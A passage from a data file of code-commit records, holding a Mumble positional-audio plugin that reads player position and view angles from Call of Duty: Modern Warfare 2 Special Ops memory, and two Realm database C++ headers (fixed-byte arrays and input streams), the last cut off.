\/\/ Scale to meters\n\tavatar_pos[0]*=(-1.0f); \/\/ Convert right to left handed\n\n\tavatar_top[2] = -1; \/\/ Head movement is in front vector\n\n\t\/\/ Calculate view unit vector\n\t\/*\n\t   Vertical view 0 when centered\n\t\t\t\t\t85\twhen looking down\n\t\t\t\t   275 when looking up\n\t   Decreasing when looking up.\n\n\t   Horizontal is 0 when facing North\n\t\t\t\t\t90 when facing West\n\t\t\t\t   180 when facing South\n\t\t\t\t   270 when facing East\n\t   Increasing when turning left.\n\t*\/\n\tviewVer *= static_cast<float>(M_PI \/ 180.0f);\n\tviewHor *= static_cast<float>(M_PI \/ 180.0f);\n\n\tavatar_front[0] = -sin(viewHor) * cos(viewVer);\n\tavatar_front[1] = -sin(viewVer);\n\tavatar_front[2] = cos(viewHor) * cos(viewVer);\n\n\tfor (int i=0;i<3;i++) {\n\t\tcamera_pos[i] = avatar_pos[i];\n\t\tcamera_front[i] = avatar_front[i];\n\t\tcamera_top[i] = avatar_top[i];\n\t}\n\n\treturn ok;\n}\n\nstatic int trylock() {\n\th = NULL;\n\tDWORD pid=getProcess(L\"iw4sp.exe\");\n\tif (!pid)\n\t\treturn false;\n\t\n\tBYTE *mod=getModuleAddr(pid, L\"iw4sp.exe\");\n\tif (!mod)\n\t\treturn false;\n\n\t\/\/ char sMagic[11];\n\t\/\/ if (!peekProc(mod + 0x01591E52, sMagic, 11) || strncmp(\"SPECIALOPS\", sMagic, 11)!=0)\n\t\/\/\treturn false;\n\n\th=OpenProcess(PROCESS_VM_READ, false, pid);\n\tif (!h)\n\t\treturn false;\n\n\tfloat apos[3], afront[3], atop[3], cpos[3], cfront[3], ctop[3];\n\tstd::string context;\n\tstd::wstring identity;\n\n\tif (fetch(apos, afront, atop, cpos, cfront, ctop, context, identity))\n\t\treturn true;\n\n\tCloseHandle(h);\n\th = NULL;\n\treturn false;\n}\n\nstatic void unlock() {\n\tif (h) {\n\t\tCloseHandle(h);\n\t\th = NULL;\n\t}\n}\n\nstatic const std::wstring longdesc() {\n\treturn std::wstring(L\"Supports Call of Duty: Modern Warfare 2 Special Ops v1.0 only. No context or identity support yet.\");\n}\n\nstatic std::wstring description(L\"Call of Duty: Modern Warfare 2 Special Ops v1.0\");\nstatic std::wstring shortname(L\"Call of Duty: Modern Warfare 2 Special Ops\");\n\nstatic MumblePlugin codmw2soplug = {\n\tMUMBLE_PLUGIN_MAGIC,\n\tdescription,\n\tshortname,\n\tabout,\n\tNULL,\n\ttrylock,\n\tunlock,\n\tlongdesc,\n\tfetch\n};\n\nextern \"C\" __declspec(dllexport) MumblePlugin *getMumblePlugin() {\n\treturn &codmw2soplug;\n}\n<commit_msg>Fix CoDMW2SO state value<commit_after>#define _USE_MATH_DEFINES\n#include <stdio.h>\n#include <stdlib.h>\n#include <windows.h>\n#include <tlhelp32.h>\n#include <math.h>\n\n#include \"..\/mumble_plugin.h\"\n\nHANDLE h = NULL;\n\nstatic DWORD getProcess(const wchar_t *exename) {\n\tPROCESSENTRY32 pe;\n\tDWORD pid = 0;\n\n\tpe.dwSize = sizeof(pe);\n\tHANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n\tif (hSnap != INVALID_HANDLE_VALUE) {\n\t\tBOOL ok = Process32First(hSnap, &pe);\n\n\t\twhile (ok) {\n\t\t\tif (wcscmp(pe.szExeFile, exename)==0) {\n\t\t\t\tpid = pe.th32ProcessID;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tok = Process32Next(hSnap, &pe);\n\t\t}\n\t\tCloseHandle(hSnap);\n\t}\n\treturn pid;\n}\n\nstatic BYTE *getModuleAddr(DWORD pid, const wchar_t *modname) {\n\tMODULEENTRY32 me;\n\tBYTE *addr = NULL;\n\tme.dwSize = sizeof(me);\n\tHANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);\n\tif (hSnap != INVALID_HANDLE_VALUE) {\n\t\tBOOL ok = Module32First(hSnap, &me);\n\n\t\twhile (ok) {\n\t\t\tif (wcscmp(me.szModule, modname)==0) {\n\t\t\t\taddr = me.modBaseAddr;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tok = Module32Next(hSnap, &me);\n\t\t}\n\t\tCloseHandle(hSnap);\n\t}\n\treturn addr;\n}\n\nstatic bool peekProc(VOID *base, VOID *dest, SIZE_T len) {\n\tSIZE_T r;\n\tBOOL ok=ReadProcessMemory(h, base, dest, len, &r);\n\treturn (ok && (r == len));\n}\n\nstatic void about(HWND h) {\n\t::MessageBox(h, L\"Reads audio position information from Call of Duty: Modern Warfare 2 Special Ops(v1.0)\", L\"Mumble CoDMW2SO Plugin\", MB_OK);\n}\n\n\nstatic int fetch(float *avatar_pos, float *avatar_front, float *avatar_top, float *camera_pos, float *camera_front, float *camera_top, std::string &context, std::wstring &identity) {\n\tfloat viewHor, viewVer;\n\tchar state;\n\tchar specops;\n\n\tfor (int i=0;i<3;i++)\n\t\tavatar_pos[i]=avatar_front[i]=avatar_top[i]=0.0f;\n\n\tbool ok;\n\tbool so;\n\n\t\/*\n\t\tThis plugin uses the following Variables:\n\n\t\t\tAddress\t\t\tType\tDescription\n\t\t\t===================================\n\t\t\t0x00786A64\t\tfloat\tZ-Coordinate\n\t\t\t0x00786A68\t\tfloat\tX-Coordinate\n\t\t\t0x00786A6C\t\tfloat\tY-Coordinate\n\t\t\t0x00786A34\t\tfloat\tHorizontal view (degrees)\n\t\t\t0x00786A30\t\tfloat\tVertical view (degrees)\n\n\t\t\t0x01597682\t\tbyte\tMagical state value\n\t*\/\n\t\n\tso = peekProc((BYTE *) 0x01974920, &specops, 1); \/\/ Magical state value\n\t\tif (! so)\n\t\treturn false;\n\t\t\n\t\tif (specops != 2)\n\t\treturn false; \/\/ 2 value indicates you are playing Special Ops\n\t\t\n\tok = peekProc((BYTE *) 0x01597682, &state, 1); \/\/ Magical state value\n\t\tif (! ok)\n\t\treturn false;\n\n\t\/\/ \/*\n\t\/\/\tstate value is:\n\t\/\/\t0\t\twhile not in game\n\t\/\/\t4\t\twhile playing\n\t\n\t\/\/\tThis value is used for disabling pa for spectators\n\t\/\/\tor people not on a server.\n\t\/\/ *\/\n\t\n\t\tif (state != 4)\n\t\treturn true; \/\/ This results in all vectors beeing zero which tells mumble to ignore them.\n\n\tok = peekProc((BYTE *) 0x00786A64, avatar_pos+2, 4) &&\t\/\/Z\n\t     peekProc((BYTE *) 0x00786A68, avatar_pos, 4) &&\t\/\/X\n\t     peekProc((BYTE *) 0x00786A6C, avatar_pos+1, 4) && \/\/Y\n\t     peekProc((BYTE *) 0x00786A34, &viewHor, 4) && \/\/Hor\n\t     peekProc((BYTE *) 0x00786A30, &viewVer, 4); \/\/Ver\n\n\tif (! ok)\n\t\treturn false;\n\n\t\/\/ Scale Coordinates\n\t\/*\n\t   Z-Value is increasing when heading north\n\t\t\t\t  decreasing when heading south\n\t   X-Value is increasing when heading west\n\t\t\t\t  decreasing when heading east\n\t   Y-Value is increasing when going up\n\t\t\t\t  decreasing when going down\n\t   40 units = 1 meter (not confirmed)\n\t*\/\n\tfor (int i=0;i<3;i++)\n\t\tavatar_pos[i]\/=40.0f; \/\/ Scale to meters\n\tavatar_pos[0]*=(-1.0f); \/\/ Convert right to left handed\n\n\tavatar_top[2] = -1; \/\/ Head movement is in front vector\n\n\t\/\/ Calculate view unit vector\n\t\/*\n\t   Vertical view 0 when centered\n\t\t\t\t\t85\twhen looking down\n\t\t\t\t   275 when looking up\n\t   Decreasing when looking up.\n\n\t   Horizontal is 0 when facing North\n\t\t\t\t\t90 when facing West\n\t\t\t\t   180 when facing South\n\t\t\t\t   270 when facing East\n\t   Increasing when turning left.\n\t*\/\n\tviewVer *= static_cast<float>(M_PI \/ 180.0f);\n\tviewHor *= static_cast<float>(M_PI \/ 180.0f);\n\n\tavatar_front[0] = -sin(viewHor) * cos(viewVer);\n\tavatar_front[1] = -sin(viewVer);\n\tavatar_front[2] = cos(viewHor) * cos(viewVer);\n\n\tfor (int i=0;i<3;i++) {\n\t\tcamera_pos[i] = avatar_pos[i];\n\t\tcamera_front[i] = avatar_front[i];\n\t\tcamera_top[i] = avatar_top[i];\n\t}\n\n\treturn ok;\n}\n\nstatic int trylock() {\n\th = NULL;\n\tDWORD pid=getProcess(L\"iw4sp.exe\");\n\tif (!pid)\n\t\treturn false;\n\n\th=OpenProcess(PROCESS_VM_READ, false, pid);\n\tif (!h)\n\t\treturn false;\n\n\tfloat apos[3], afront[3], atop[3], cpos[3], cfront[3], ctop[3];\n\tstd::string context;\n\tstd::wstring identity;\n\n\tif (fetch(apos, afront, atop, cpos, cfront, ctop, context, identity))\n\t\treturn true;\n\n\tCloseHandle(h);\n\th = NULL;\n\treturn false;\n}\n\nstatic void unlock() {\n\tif (h) {\n\t\tCloseHandle(h);\n\t\th = NULL;\n\t}\n}\n\nstatic const std::wstring longdesc() {\n\treturn std::wstring(L\"Supports Call of Duty: Modern Warfare 2 Special Ops v1.0 only. No context or identity support yet.\");\n}\n\nstatic std::wstring description(L\"Call of Duty: Modern Warfare 2 Special Ops v1.0\");\nstatic std::wstring shortname(L\"Call of Duty: Modern Warfare 2 Special Ops\");\n\nstatic MumblePlugin codmw2soplug = {\n\tMUMBLE_PLUGIN_MAGIC,\n\tdescription,\n\tshortname,\n\tabout,\n\tNULL,\n\ttrylock,\n\tunlock,\n\tlongdesc,\n\tfetch\n};\n\nextern \"C\" __declspec(dllexport) MumblePlugin *getMumblePlugin() {\n\treturn &codmw2soplug;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n * Copyright 2019 Realm Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n **************************************************************************\/\n\n#ifndef REALM_ARRAY_FIXED_BYTES_HPP\n#define REALM_ARRAY_FIXED_BYTES_HPP\n\n#include <realm\/array.hpp>\n#include <realm\/object_id.hpp>\n#include <realm\/uuid.hpp>\n\nnamespace realm {\n\ntemplate <class ObjectType, int ElementSize>\nclass ArrayFixedBytes : public ArrayPayload, protected Array {\npublic:\n    using value_type = ObjectType;\n    using self_type = ArrayFixedBytes<ObjectType, ElementSize>;\n\n    using Array::Array;\n    using Array::destroy;\n    using Array::get_ref;\n    using Array::init_from_mem;\n    using Array::init_from_parent;\n    using Array::update_parent;\n    using Array::verify;\n\n    static ObjectType default_value(bool nullable)\n    {\n        REALM_ASSERT(!nullable);\n        return ObjectType();\n    }\n\n    void create()\n    {\n        auto mem = Array::create(type_Normal, false, wtype_Multiply, 0, 0, m_alloc); \/\/ Throws\n        Array::init_from_mem(mem);\n    }\n\n    void init_from_ref(ref_type ref) noexcept override\n    {\n        Array::init_from_ref(ref);\n    }\n\n    void set_parent(ArrayParent* parent, size_t ndx_in_parent) noexcept override\n    {\n        Array::set_parent(parent, ndx_in_parent);\n    }\n\n    size_t size() const\n    {\n        auto data_bytes = m_size - div_round_up<s_block_size>(m_size); \/\/ remove one byte per block.\n        return data_bytes \/ s_width;\n    }\n\n    bool is_null(size_t ndx) const\n    {\n        return this->get_width() == 0 || get_pos(ndx).is_null(this);\n    }\n\n    ObjectType get(size_t ndx) const\n    {\n        REALM_ASSERT(is_valid_ndx(ndx));\n        REALM_ASSERT(!is_null(ndx));\n        return get_pos(ndx).get_value(this);\n    }\n\n    void add(const ObjectType& value)\n    {\n        insert(size(), value);\n    }\n\n    void set(size_t ndx, const ObjectType& value);\n    void insert(size_t ndx, const ObjectType& value);\n    void erase(size_t ndx);\n    void move(ArrayFixedBytes<ObjectType, ElementSize>& dst, size_t ndx);\n    void clear()\n    {\n        truncate(0);\n    }\n    void truncate(size_t ndx)\n    {\n        Array::truncate(calc_required_bytes(ndx));\n    }\n\n    size_t find_first(const ObjectType& value, size_t begin = 0, size_t end = npos) const noexcept;\n\nprotected:\n    static constexpr size_t s_width = ElementSize; \/\/ Size of each element\n\n    \/\/ A block is a byte bitvector indicating null entries and 8 ObjectIds.\n    static constexpr size_t s_block_size = s_width * 8 + 1; \/\/ 97\n\n    template <size_t div>\n    static size_t div_round_up(size_t num)\n    {\n        return (num + div - 1) \/ div;\n    }\n\n    \/\/ An accessor for the data at a given index. All casting and offset calculation should be kept here.\n    struct Pos {\n        size_t base_byte;\n        size_t offset;\n\n        void set_value(self_type* arr, const ObjectType& val) const\n        {\n            reinterpret_cast<ObjectType*>(arr->m_data + base_byte + 1 \/*null bit byte*\/)[offset] = val;\n        }\n        const ObjectType& get_value(const self_type* arr) const\n        {\n            return reinterpret_cast<const ObjectType*>(arr->m_data + base_byte + 1 \/*null bit byte*\/)[offset];\n        }\n\n        void set_null(self_type* arr, bool new_is_null) const\n        {\n            auto& bitvec = arr->m_data[base_byte];\n            if (new_is_null) {\n                bitvec |= 1 << offset;\n            }\n            else {\n                bitvec &= ~(1 << offset);\n            }\n        }\n        bool is_null(const self_type* arr) const\n        {\n            return arr->m_data[base_byte] & (1 << offset);\n        }\n    };\n\n    static Pos get_pos(size_t ndx)\n    {\n\n        return Pos{(ndx \/ 8) * s_block_size, ndx % 8};\n    }\n\n    static size_t calc_required_bytes(size_t num_items)\n    {\n        return (num_items * s_width) +       \/\/ ObjectId data\n               (div_round_up<8>(num_items)); \/\/ null bitvectors (1 byte per 8 oids, rounded up)\n    }\n\n    size_t calc_byte_len(size_t num_items, size_t \/*unused width*\/ = 0) const override\n    {\n        return num_items + Node::header_size;\n    }\n\n    bool is_valid_ndx(size_t ndx) const\n    {\n        return calc_byte_len(ndx) <= m_size;\n    }\n};\n\n\/\/ The nullable ObjectId array uses the same layout and is compatible with the non-nullable one. It adds support for\n\/\/ operations on null. Because the base class maintains null markers, we are able to defer to it for many operations.\ntemplate <class ObjectType, int ElementSize>\nclass ArrayFixedBytesNull : public ArrayFixedBytes<ObjectType, ElementSize> {\npublic:\n    using Parent = ArrayFixedBytes<ObjectType, ElementSize>;\n    using ArrayFixedBytes<ObjectType, ElementSize>::ArrayFixedBytes;\n    static util::Optional<ObjectType> default_value(bool nullable)\n    {\n        if (nullable)\n            return util::none;\n        return ObjectType();\n    }\n\n    void set(size_t ndx, const util::Optional<ObjectType>& value)\n    {\n        if (value) {\n            Parent::set(ndx, *value);\n        }\n        else {\n            set_null(ndx);\n        }\n    }\n    void add(const util::Optional<ObjectType>& value)\n    {\n        insert(this->size(), value);\n    }\n    void insert(size_t ndx, const util::Optional<ObjectType>& value);\n    void set_null(size_t ndx);\n    util::Optional<ObjectType> get(size_t ndx) const noexcept\n    {\n        auto pos = this->get_pos(ndx);\n        if (pos.is_null(this)) {\n            return util::none;\n        }\n        return pos.get_value(this);\n    }\n    size_t find_first(const util::Optional<ObjectType>& value, size_t begin = 0, size_t end = npos) const\n    {\n        if (value) {\n            return Parent::find_first(*value, begin, end);\n        }\n        else {\n            return find_first_null(begin, end);\n        }\n    }\n    size_t find_first_null(size_t begin = 0, size_t end = npos) const;\n\nprivate:\n    static const ObjectType null_oid;\n};\n\nusing ArrayObjectId = ArrayFixedBytes<ObjectId, sizeof(ObjectId)>;\nusing ArrayObjectIdNull = ArrayFixedBytesNull<ObjectId, sizeof(ObjectId)>;\n\nusing ArrayUUID = ArrayFixedBytes<UUID, sizeof(UUID::UUIDBytes)>;\nusing ArrayUUIDNull = ArrayFixedBytesNull<UUID, sizeof(UUID::UUIDBytes)>;\n\n} \/\/ namespace realm\n\n#endif \/* REALM_ARRAY_FIXED_BYTES_HPP *\/\n<commit_msg>fix vs error getting confused about which ctr to use<commit_after>\/*************************************************************************\n *\n * Copyright 2019 Realm Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n **************************************************************************\/\n\n#ifndef REALM_ARRAY_FIXED_BYTES_HPP\n#define REALM_ARRAY_FIXED_BYTES_HPP\n\n#include <realm\/array.hpp>\n#include <realm\/object_id.hpp>\n#include <realm\/uuid.hpp>\n\nnamespace realm {\n\ntemplate <class ObjectType, int ElementSize>\nclass ArrayFixedBytes : public ArrayPayload, protected Array {\npublic:\n    using value_type = ObjectType;\n    using self_type = ArrayFixedBytes<ObjectType, ElementSize>;\n\n    using Array::Array;\n    using Array::destroy;\n    using Array::get_ref;\n    using Array::init_from_mem;\n    using Array::init_from_parent;\n    using Array::update_parent;\n    using Array::verify;\n\n    static ObjectType default_value(bool nullable)\n    {\n        REALM_ASSERT(!nullable);\n        return ObjectType();\n    }\n\n    void create()\n    {\n        auto mem = Array::create(type_Normal, false, wtype_Multiply, 0, 0, m_alloc); \/\/ Throws\n        Array::init_from_mem(mem);\n    }\n\n    void init_from_ref(ref_type ref) noexcept override\n    {\n        Array::init_from_ref(ref);\n    }\n\n    void set_parent(ArrayParent* parent, size_t ndx_in_parent) noexcept override\n    {\n        Array::set_parent(parent, ndx_in_parent);\n    }\n\n    size_t size() const\n    {\n        auto data_bytes = m_size - div_round_up<s_block_size>(m_size); \/\/ remove one byte per block.\n        return data_bytes \/ s_width;\n    }\n\n    bool is_null(size_t ndx) const\n    {\n        return this->get_width() == 0 || get_pos(ndx).is_null(this);\n    }\n\n    ObjectType get(size_t ndx) const\n    {\n        REALM_ASSERT(is_valid_ndx(ndx));\n        REALM_ASSERT(!is_null(ndx));\n        return get_pos(ndx).get_value(this);\n    }\n\n    void add(const ObjectType& value)\n    {\n        insert(size(), value);\n    }\n\n    void set(size_t ndx, const ObjectType& value);\n    void insert(size_t ndx, const ObjectType& value);\n    void erase(size_t ndx);\n    void move(ArrayFixedBytes<ObjectType, ElementSize>& dst, size_t ndx);\n    void clear()\n    {\n        truncate(0);\n    }\n    void truncate(size_t ndx)\n    {\n        Array::truncate(calc_required_bytes(ndx));\n    }\n\n    size_t find_first(const ObjectType& value, size_t begin = 0, size_t end = npos) const noexcept;\n\nprotected:\n    static constexpr size_t s_width = ElementSize; \/\/ Size of each element\n\n    \/\/ A block is a byte bitvector indicating null entries and 8 ObjectIds.\n    static constexpr size_t s_block_size = s_width * 8 + 1; \/\/ 97\n\n    template <size_t div>\n    static size_t div_round_up(size_t num)\n    {\n        return (num + div - 1) \/ div;\n    }\n\n    \/\/ An accessor for the data at a given index. All casting and offset calculation should be kept here.\n    struct Pos {\n        size_t base_byte;\n        size_t offset;\n\n        void set_value(self_type* arr, const ObjectType& val) const\n        {\n            reinterpret_cast<ObjectType*>(arr->m_data + base_byte + 1 \/*null bit byte*\/)[offset] = val;\n        }\n        const ObjectType& get_value(const self_type* arr) const\n        {\n            return reinterpret_cast<const ObjectType*>(arr->m_data + base_byte + 1 \/*null bit byte*\/)[offset];\n        }\n\n        void set_null(self_type* arr, bool new_is_null) const\n        {\n            auto& bitvec = arr->m_data[base_byte];\n            if (new_is_null) {\n                bitvec |= 1 << offset;\n            }\n            else {\n                bitvec &= ~(1 << offset);\n            }\n        }\n        bool is_null(const self_type* arr) const\n        {\n            return arr->m_data[base_byte] & (1 << offset);\n        }\n    };\n\n    static Pos get_pos(size_t ndx)\n    {\n\n        return Pos{(ndx \/ 8) * s_block_size, ndx % 8};\n    }\n\n    static size_t calc_required_bytes(size_t num_items)\n    {\n        return (num_items * s_width) +       \/\/ ObjectId data\n               (div_round_up<8>(num_items)); \/\/ null bitvectors (1 byte per 8 oids, rounded up)\n    }\n\n    size_t calc_byte_len(size_t num_items, size_t \/*unused width*\/ = 0) const override\n    {\n        return num_items + Node::header_size;\n    }\n\n    bool is_valid_ndx(size_t ndx) const\n    {\n        return calc_byte_len(ndx) <= m_size;\n    }\n};\n\n\/\/ The nullable ObjectId array uses the same layout and is compatible with the non-nullable one. It adds support for\n\/\/ operations on null. Because the base class maintains null markers, we are able to defer to it for many operations.\ntemplate <class ObjectType, int ElementSize>\nclass ArrayFixedBytesNull : public ArrayFixedBytes<ObjectType, ElementSize> {\npublic:\n    using Parent = ArrayFixedBytes<ObjectType, ElementSize>;\n    ArrayFixedBytesNull(Allocator& alloc) noexcept\n        : ArrayFixedBytes<ObjectType, ElementSize>(alloc)\n    {\n    }\n    static util::Optional<ObjectType> default_value(bool nullable)\n    {\n        if (nullable)\n            return util::none;\n        return ObjectType();\n    }\n\n    void set(size_t ndx, const util::Optional<ObjectType>& value)\n    {\n        if (value) {\n            Parent::set(ndx, *value);\n        }\n        else {\n            set_null(ndx);\n        }\n    }\n    void add(const util::Optional<ObjectType>& value)\n    {\n        insert(this->size(), value);\n    }\n    void insert(size_t ndx, const util::Optional<ObjectType>& value);\n    void set_null(size_t ndx);\n    util::Optional<ObjectType> get(size_t ndx) const noexcept\n    {\n        auto pos = this->get_pos(ndx);\n        if (pos.is_null(this)) {\n            return util::none;\n        }\n        return pos.get_value(this);\n    }\n    size_t find_first(const util::Optional<ObjectType>& value, size_t begin = 0, size_t end = npos) const\n    {\n        if (value) {\n            return Parent::find_first(*value, begin, end);\n        }\n        else {\n            return find_first_null(begin, end);\n        }\n    }\n    size_t find_first_null(size_t begin = 0, size_t end = npos) const;\n\nprivate:\n    static const ObjectType null_oid;\n};\n\nusing ArrayObjectId = ArrayFixedBytes<ObjectId, sizeof(ObjectId)>;\nusing ArrayObjectIdNull = ArrayFixedBytesNull<ObjectId, sizeof(ObjectId)>;\n\nusing ArrayUUID = ArrayFixedBytes<UUID, sizeof(UUID::UUIDBytes)>;\nusing ArrayUUIDNull = ArrayFixedBytesNull<UUID, sizeof(UUID::UUIDBytes)>;\n\n} \/\/ namespace realm\n\n#endif \/* REALM_ARRAY_FIXED_BYTES_HPP *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n * REALM CONFIDENTIAL\n * __________________\n *\n *  [2011] - [2015] Realm Inc\n *  All Rights Reserved.\n *\n * NOTICE:  All information contained herein is, and remains\n * the property of Realm Incorporated and its suppliers,\n * if any.  The intellectual and technical concepts contained\n * herein are proprietary to Realm Incorporated\n * and its suppliers and may be covered by U.S. and Foreign Patents,\n * patents in process, and are protected by trade secret or copyright law.\n * Dissemination of this information or reproduction of this material\n * is strictly forbidden unless prior written permission is obtained\n * from Realm Incorporated.\n *\n **************************************************************************\/\n\n#ifndef REALM_IMPL_INPUT_STREAM_HPP\n#define REALM_IMPL_INPUT_STREAM_HPP\n\n#include <algorithm>\n\n#include <realm\/binary_data.hpp>\n#include <realm\/impl\/continuous_transactions_history.hpp>\n\n\nnamespace realm {\nnamespace _impl {\n\n\nclass InputStream {\npublic:\n    \/\/\/ Read bytes from this input stream and place them in the specified\n    \/\/\/ buffer. The returned value is the actual number of bytes that were read,\n    \/\/\/ and this is some number `n` such that `n <= min(size, m)` where `m` is\n    \/\/\/ the number of bytes that could have been read from this stream before\n    \/\/\/ reaching its end. Also, `n` cannot be zero unless `m` or `size` is\n    \/\/\/ zero. The intention is that `size` should be non-zero, a the return\n    \/\/\/ value used as the end-of-input indicator.\n    \/\/\/\n    \/\/\/ Implementations are only allowed to block (put the calling thread to\n    \/\/\/ sleep) up until the point in time where the first byte can be made\n    \/\/\/ availble.\n    virtual size_t read(char* buffer, size_t size) = 0;\n\n    virtual ~InputStream() noexcept {}\n};\n\n\nclass SimpleInputStream: public InputStream {\npublic:\n    SimpleInputStream(const char* data, size_t size) noexcept:\n        m_ptr(data),\n        m_end(data + size)\n    {\n    }\n    size_t read(char* buffer, size_t size) override\n    {\n        size_t n = std::min(size, size_t(m_end-m_ptr));\n        const char* begin = m_ptr;\n        m_ptr += n;\n        const char* end = m_ptr;\n        std::copy(begin, end, buffer);\n        return n;\n    }\nprivate:\n    const char* m_ptr;\n    const char* const m_end;\n};\n\n\nclass NoCopyInputStream {\npublic:\n    \/\/\/ \\return the number of accessible bytes.\n    \/\/\/ A value of zero indicates end-of-input.\n    \/\/\/ For non-zero return value, \\a begin and \\a end are\n    \/\/\/ updated to reflect the start and limit of a\n    \/\/\/ contiguous memory chunk.\n    virtual size_t next_block(const char*& begin, const char*& end) = 0;\n\n    virtual ~NoCopyInputStream() noexcept {}\n};\n\n\nclass NoCopyInputStreamAdaptor: public NoCopyInputStream {\npublic:\n    NoCopyInputStreamAdaptor(InputStream& in, char* buffer, size_t buffer_size) noexcept:\n        m_in(in),\n        m_buffer(buffer),\n        m_buffer_size(buffer_size)\n    {\n    }\n    size_t next_block(const char*& begin, const char*& end) override\n    {\n        size_t n = m_in.read(m_buffer, m_buffer_size);\n        begin = m_buffer;\n        end = m_buffer + n;\n        return n;\n    }\nprivate:\n    InputStream& m_in;\n    char* m_buffer;\n    size_t m_buffer_size;\n};\n\n\nclass SimpleNoCopyInputStream: public NoCopyInputStream {\npublic:\n    SimpleNoCopyInputStream(const char* data, size_t size):\n        m_data(data),\n        m_size(size)\n    {\n    }\n\n    size_t next_block(const char*& begin, const char*& end) override\n    {\n        if (m_size == 0)\n            return 0;\n        size_t size = m_size;\n        begin = m_data;\n        end = m_data + size;\n        m_size = 0;\n        return size;\n    }\n\nprivate:\n    const char* m_data;\n    size_t m_size;\n};\n\nclass MultiLogNoCopyInputStream: public NoCopyInputStream {\npublic:\n    MultiLogNoCopyInputStream(const BinaryData* logs_begin, const BinaryData* logs_end):\n        m_logs_begin(logs_begin), m_logs_end(logs_end)\n    {\n        if (m_logs_begin != m_logs_end)\n            m_curr_buf_remaining_size = m_logs_begin->size();\n    }\n\n    size_t read(char* buffer, size_t size)\n    {\n        if (m_logs_begin == m_logs_end)\n            return 0;\n        for (;;) {\n            if (m_curr_buf_remaining_size > 0) {\n                size_t offset = m_logs_begin->size() - m_curr_buf_remaining_size;\n                const char* data = m_logs_begin->data() + offset;\n                size_t size_2 = std::min(m_curr_buf_remaining_size, size);\n                m_curr_buf_remaining_size -= size_2;\n                \/\/ FIXME: Eliminate the need for copying by changing the API of\n                \/\/ Replication::InputStream such that blocks can be handed over\n                \/\/ without copying. This is a straight forward change, but the\n                \/\/ result is going to be more complicated and less conventional.\n                std::copy(data, data + size_2, buffer);\n                return size_2;\n            }\n\n            ++m_logs_begin;\n            if (m_logs_begin == m_logs_end)\n                return 0;\n            m_curr_buf_remaining_size = m_logs_begin->size();\n        }\n    }\n\n    size_t next_block(const char*& begin, const char*& end) override\n    {\n        while (m_logs_begin < m_logs_end) {\n            size_t result = m_logs_begin->size();\n            const char* data = m_logs_begin->data();\n            m_logs_begin++;\n            if (result == 0)\n                continue; \/\/ skip empty blocks\n            begin = data;\n            end = data + result;\n            return result;\n        }\n        return 0;\n    }\n\nprivate:\n    const BinaryData* m_logs_begin;\n    const BinaryData* m_logs_end;\n    size_t m_curr_buf_remaining_size;\n};\n\n\nclass ChangesetInputStream: public NoCopyInputStream {\npublic:\n    using version_type = History::version_type;\n    ChangesetInputStream(History&, version_type begin_version, version_type end_version);\n    size_t next_block(const char*& begin, const char*& end) override;\nprivate:\n    History& m_history;\n    version_type m_begin_version, m_end_version;\n    BinaryData m_changesets[8]; \/\/ Buffer\n    BinaryData* m_changesets_begin = 0;\n    BinaryData* m_changesets_end = 0;\n};\n\n\ninline ChangesetInputStream::ChangesetInputStream(History& hist, version_type begin_version,\n                                                  version_type end_version):\n    m_history(hist),\n    m_begin_version(begin_version),\n    m_end_version(end_version)\n{\n}\n\ninline size_t ChangesetInputStream::next_block(const char*& begin, const char*& end)\n{\n    for (;;) {\n        if (REALM_UNLIKELY(m_changesets_begin == m_changesets_end)) {\n            if (m_begin_version == m_end_version)\n                return 0; \/\/ End of input\n            uint_fast64_t n = sizeof m_changesets \/ sizeof m_changesets[0];\n            uint_fast64_t avail = m_end_version - m_begin_version;\n            if (n > avail)\n                n = avail;\n            version_type end_version = m_begin_version + n;\n            m_history.get_changesets(m_begin_version, end_version, m_changesets);\n            m_begin_version = end_version;\n            m_changesets_begin = m_changesets;\n            m_changesets_end = m_changesets_begin + n;\n        }\n\n        BinaryData changeset = *m_changesets_begin++;\n        if (changeset.size() > 0) {\n            begin = changeset.data();\n            end   = changeset.data() + changeset.size();\n            return changeset.size();\n        }\n    }\n}\n\n\n} \/\/ namespace _impl\n} \/\/ namespace realm\n\n#endif \/\/ REALM_IMPL_INPUT_STREAM_HPP\n<commit_msg>Adjust the fix as suggested by @kspangsege.<commit_after>\/*************************************************************************\n *\n * REALM CONFIDENTIAL\n * __________________\n *\n *  [2011] - [2015] Realm Inc\n *  All Rights Reserved.\n *\n * NOTICE:  All information contained herein is, and remains\n * the property of Realm Incorporated and its suppliers,\n * if any.  The intellectual and technical concepts contained\n * herein are proprietary to Realm Incorporated\n * and its suppliers and may be covered by U.S. and Foreign Patents,\n * patents in process, and are protected by trade secret or copyright law.\n * Dissemination of this information or reproduction of this material\n * is strictly forbidden unless prior written permission is obtained\n * from Realm Incorporated.\n *\n **************************************************************************\/\n\n#ifndef REALM_IMPL_INPUT_STREAM_HPP\n#define REALM_IMPL_INPUT_STREAM_HPP\n\n#include <algorithm>\n\n#include <realm\/binary_data.hpp>\n#include <realm\/impl\/continuous_transactions_history.hpp>\n\n\nnamespace realm {\nnamespace _impl {\n\n\nclass InputStream {\npublic:\n    \/\/\/ Read bytes from this input stream and place them in the specified\n    \/\/\/ buffer. The returned value is the actual number of bytes that were read,\n    